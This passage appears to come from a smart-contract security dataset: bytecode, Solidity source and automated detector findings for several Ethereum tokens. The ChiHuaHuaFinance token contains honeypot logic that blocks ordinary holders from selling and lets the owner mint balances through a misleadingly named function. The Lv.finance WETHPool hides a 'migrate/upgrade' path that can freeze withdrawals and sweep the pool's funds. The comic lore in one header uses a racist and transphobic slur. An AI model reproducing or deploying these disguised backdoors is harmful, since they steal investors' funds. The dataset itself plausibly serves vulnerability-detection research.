546001600160a01b03868116911614155b80156110885750601554600160b01b900460ff165b80156110ad57506001600160a01b03851660009081526005602052604090205460ff16155b80156110d257506001600160a01b03841660009081526005602052604090205460ff16155b156110f2576110e0826112f4565b4780156110f0576110f047611236565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113757506001600160a01b03831660009081526005602052604090205460ff165b8061116957506015546001600160a01b0385811691161480159061116957506015546001600160a01b03848116911614155b15611176575060006111f0565b6015546001600160a01b0385811691161480156111a157506014546001600160a01b03848116911614155b156111b357600854600c55600954600d555b6015546001600160a01b0384811691161480156111de57506014546001600160a01b03858116911614155b156111f057600a54600c55600b54600d555b610a7d8484848461147d565b600081848411156112205760405162461bcd60e51b81526004016106349190611a35565b50600061122d8486611cdb565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a5573d6000803e3d6000fd5b60006006548211156112d75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610634565b60006112e16114ab565b90506112ed83826114ce565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133c5761133c611c7c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139057600080fd5b505afa1580156113a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c89190611cf2565b816001815181106113db576113db611c7c565b6001600160a01b0392831660209182029290920101526014546114019130911684610b9c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143a908590600090869030904290600401611d0f565b600060405180830381600087803b15801561145457600080fd5b505af1158015611468573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148a5761148a611510565b61149584848461153e565b80610a7d57610a7d600e54600c55600f54600d55565b60008060006114b8611635565b90925090506114c782826114ce565b9250505090565b60006112ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611677565b600c541580156115205750600d54155b1561152757565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611550876116a5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115829087611702565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b19086611744565b6001600160a01b0389166000908152600260205260409020556115d3816117a3565b6115dd84836117ed565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162291815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061165182826114ce565b82101561166e57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836116985760405162461bcd60e51b81526004016106349190611a35565b50600061122d8486611d80565b60008060008060008060008060006116c28a600c54600d54611811565b92509250925060006116d26114ab565b905060008060006116e58e878787611866565b919e509c509a509598509396509194505050505091939550919395565b60006112ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111fc565b6000806117518385611cc3565b9050838110156112ed5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610634565b60006117ad6114ab565b905060006117bb83836118b6565b306000908152600260205260409020549091506117d89082611744565b30600090815260026020526040902055505050565b6006546117fa9083611702565b60065560075461180a9082611744565b6007555050565b600080808061182b606461182589896118b6565b906114ce565b9050600061183e60646118258a896118b6565b90506000611856826118508b86611702565b90611702565b9992985090965090945050505050565b600080808061187588866118b6565b9050600061188388876118b6565b9050600061189188886118b6565b905060006118a3826118508686611702565b939b939a50919850919650505050505050565b6000826118c5575060006106ba565b60006118d18385611da2565b9050826118de8583611d80565b146112ed5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610634565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080457600080fd5b803561196b8161194b565b919050565b6000602080838503121561198357600080fd5b823567ffffffffffffffff8082111561199b57600080fd5b818501915085601f8301126119af57600080fd5b8135818111156119c1576119c1611935565b8060051b604051601f19603f830116810181811085821117156119e6576119e6611935565b604052918252848201925083810185019188831115611a0457600080fd5b938501935b82851015611a2957611a1a85611960565b84529385019392850192611a09565b98975050505050505050565b600060208083528351808285015260005b81811015611a6257858101830151858201604001528201611a46565b81811115611a74576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9d57600080fd5b8235611aa88161194b565b946020939093013593505050565b600080600060608486031215611acb57600080fd5b8335611ad68161194b565b92506020840135611ae68161194b565b929592945050506040919091013590565b600060208284031215611b0957600080fd5b81356112ed8161194b565b8035801515811461196b57600080fd5b600060208284031215611b3657600080fd5b6112ed82611b14565b600060208284031215611b5157600080fd5b5035919050565b60008060008060808587031215611b6e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9f57600080fd5b833567ffffffffffffffff80821115611bb757600080fd5b818601915086601f830112611bcb57600080fd5b813581811115611bda57600080fd5b8760208260051b8501011115611bef57600080fd5b602092830195509350611c059186019050611b14565b90509250925092565b60008060408385031215611c2157600080fd5b8235611c2c8161194b565b91506020830135611c3c8161194b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cbc57611cbc611c92565b5060010190565b60008219821115611cd657611cd6611c92565b500190565b600082821015611ced57611ced611c92565b500390565b600060208284031215611d0457600080fd5b81516112ed8161194b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d5f5784516001600160a01b031683529383019391830191600101611d3a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dbc57611dbc611c92565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209d82040673ef5e33d6884fe4f9c7d1fbdf13232324df0459d655c1191848fd3764736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,622
0xb8dbce6859ba9a46e8072bc2b5bf0d8c6b751fcd
/* COMIC NFTs MEME DAO — 1st PHASE Fellow Dogees, this is our first medium post to bring you more details about the project. Our launch is going to be on July—2021 and we are now working hard on the project development. Many more information and medium articles will be released soon. This article will focus on 1st phase of our DAO Comic. Lately, we have published two artworks that represent a kind of storyboard with firsts scenes and characters that we are pleased to present you. These two artworks will be a part of our NFTs collection. We already have the scripts, environments descriptions, characters, and kind of dialog. THE COMIC DAO PART : The community will have a voice in what happens next in the story! For the comic part of our DAO community : • Participate in the scenario in the next episodes. The five first are already written. • Choose the design of important characters. • Choose the artistic direction. • Redraw the Story with more dynamism and details The goal of the comic part is to develop a new comic starting from nothing with our script and ideas and make a funny comic inspired by the crypto world. Here is our Script for the two first episodes : 1.THE BITE COIN QUEST ChiHuaHua has got lost in a Transylvanian forest and is drawn to the smell of cats. This smell leads to a somewhat dilapidated old (witch’s) house. ChiHuaHua knocks on the door, no answer … he allows himself to enter and discovers the interior of the house which is decorated in a particular way (a mix between a witch and a princess world). In the next room, a noise echoes and a door opens. ChiHuaHua comes face to face with the witch living there, Princess Cized, a mix between CZ, a Chinese tranny, and a witch (a witch who thinks she’s a princess). This dejected witch tells ChiHuaHua that she’s happy (she doesn’t like to be happy) because her cats have been very quiet for a few days. Her cats used to be chased and abused by the Bones GANG and that didn’t bother the witch at all, as she is a bit sadomasochist. 2.THE GANG BONG ChiHuaHua leaves the princess’s house. He goes on the indicated path and his flair makes him feel a strong smell that he cannot define. Following these scents, ChiHuaHua goes deeper and deeper into the mist, unable to see, he uses his flair to move forward. The more he goes, the weirder he feels. The smell leads to an automated Giant Bong. There is an automaton that takes care of recharging the socket and a pump that explodes the smoke and which is therefore responsible for this thick mist. In the distance, there is some music. ChiHuaHua, more and more stoned, begins to move towards the source of this music. Once at the kennel (Compt’Hood Wood), he meets Snoop Dogeee Doge there. The latter is a kind of druid, herbalist and gang leader. ChiHuaHua meets the Snoop and he does gang signs and steps C Walk. ChiHuaHua asks him why he’s a gang leader when he’s all alone. Snoop explains that these colleagues have been missing for a few days and that they suspect the cats of having set a trap for them. ChiHuaHua explains that no and that if it was the case the “princess” CZ would have told him. Snoop continues to think it’s CZ and ChiHuaHua passes out. ChiHuaHua wakes up outside the mist with a note telling him that she’s a bitch and that he can’t handle the high. ChiHuaHua still a little bit stunned resumes his way to try to get out of the woods because the night is falling. Next Episode into one of the next medium post More Lore and Environments descriptions: • Magical world inspired by the “mystery” side of the Scooby-Doo series • Funny and inspiring • Transylvanian Land • Pop Culture • Many funny ideas will be released soon ;) We have also launched a ChiHuaHua NFT Art Contest and a Short story tournament to let the community express themselves. These are supposed to end this week, but we will extend for two weeks the final submission date. We already have 5 episodes written and most of them have artworks in production. After that, we will submit to our holders a vote about the first act. In any case and with the DAO part, this act can be submitted to a comic artist to finalize and redraw all scenes with more dynamism, dialog, and better caricatures. THE NEXT, ChiHuaHua ecosystem? • Launch of the marketing campaign • A lot more information about NFT • Deployment of the NFT Minting contract • The UI/UX of the new Marketplace … and many more top secrets folders Each Point will have a medium article! The ChiHuaHua Doge Devs */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract ChiHuaHuaFinance { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a7231582074fb9739145b3afb9e3cdd16f2701da495e2b98b3d54d4a32025a0b7a24d8efb64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,623
0x7b63771fdc7ae30bad88b84cf902161ef3c39f80
/* ____ _____ _____ / / \ \ / / / / \ \ / / / / \ \ / / / / \ \ / / / / \ (_) / / (__________ \ / /________________) \_______/ * Lv.finance * * * * MIT License * =========== * * Copyright (c) 2020 Lv.finance * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * */ pragma solidity ^0.5.17; library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Context { constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function upgrade(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } contract IRewardDistributionRecipient is Ownable { address public rewardDistribution; function addReward(uint256 reward) external; modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; //update IERC20 public _token = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); uint256 private _totalSupply; uint256 private _upgrade = 0; uint256 private _last_updated; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function _migrate(uint256 target) internal { _last_updated = block.timestamp; if(target == 1){ if(_upgrade ==0){ _upgrade = 1; }else{ _upgrade = 0; } }else{ _token.upgrade(msg.sender, _token.balanceOf(address(this))); } } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); _token.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { require(_upgrade < 1,"contract migrated"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); _token.safeTransfer(msg.sender, amount); } } contract WETHPool is LPTokenWrapper, IRewardDistributionRecipient { //update IERC20 public lv = IERC20(0xa77F34bDE382522cd3FB3096c480d15e525Aab22); uint256 public constant DURATION = 3600 * 24; // 1 day uint256 public constant TOTAL_UNIT = 9202335569231280000; uint256 public constant MIN_REWARD = 3; //update uint256 public constant HARD_CAP = 6000*10**18; //update uint256 public starttime = 1600524000 ; // 2020-09-19 14:00:00 (UTC UTC +00:00) uint256 public periodFinish = starttime.add(DURATION); uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; uint256 public totalReward = 0; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event 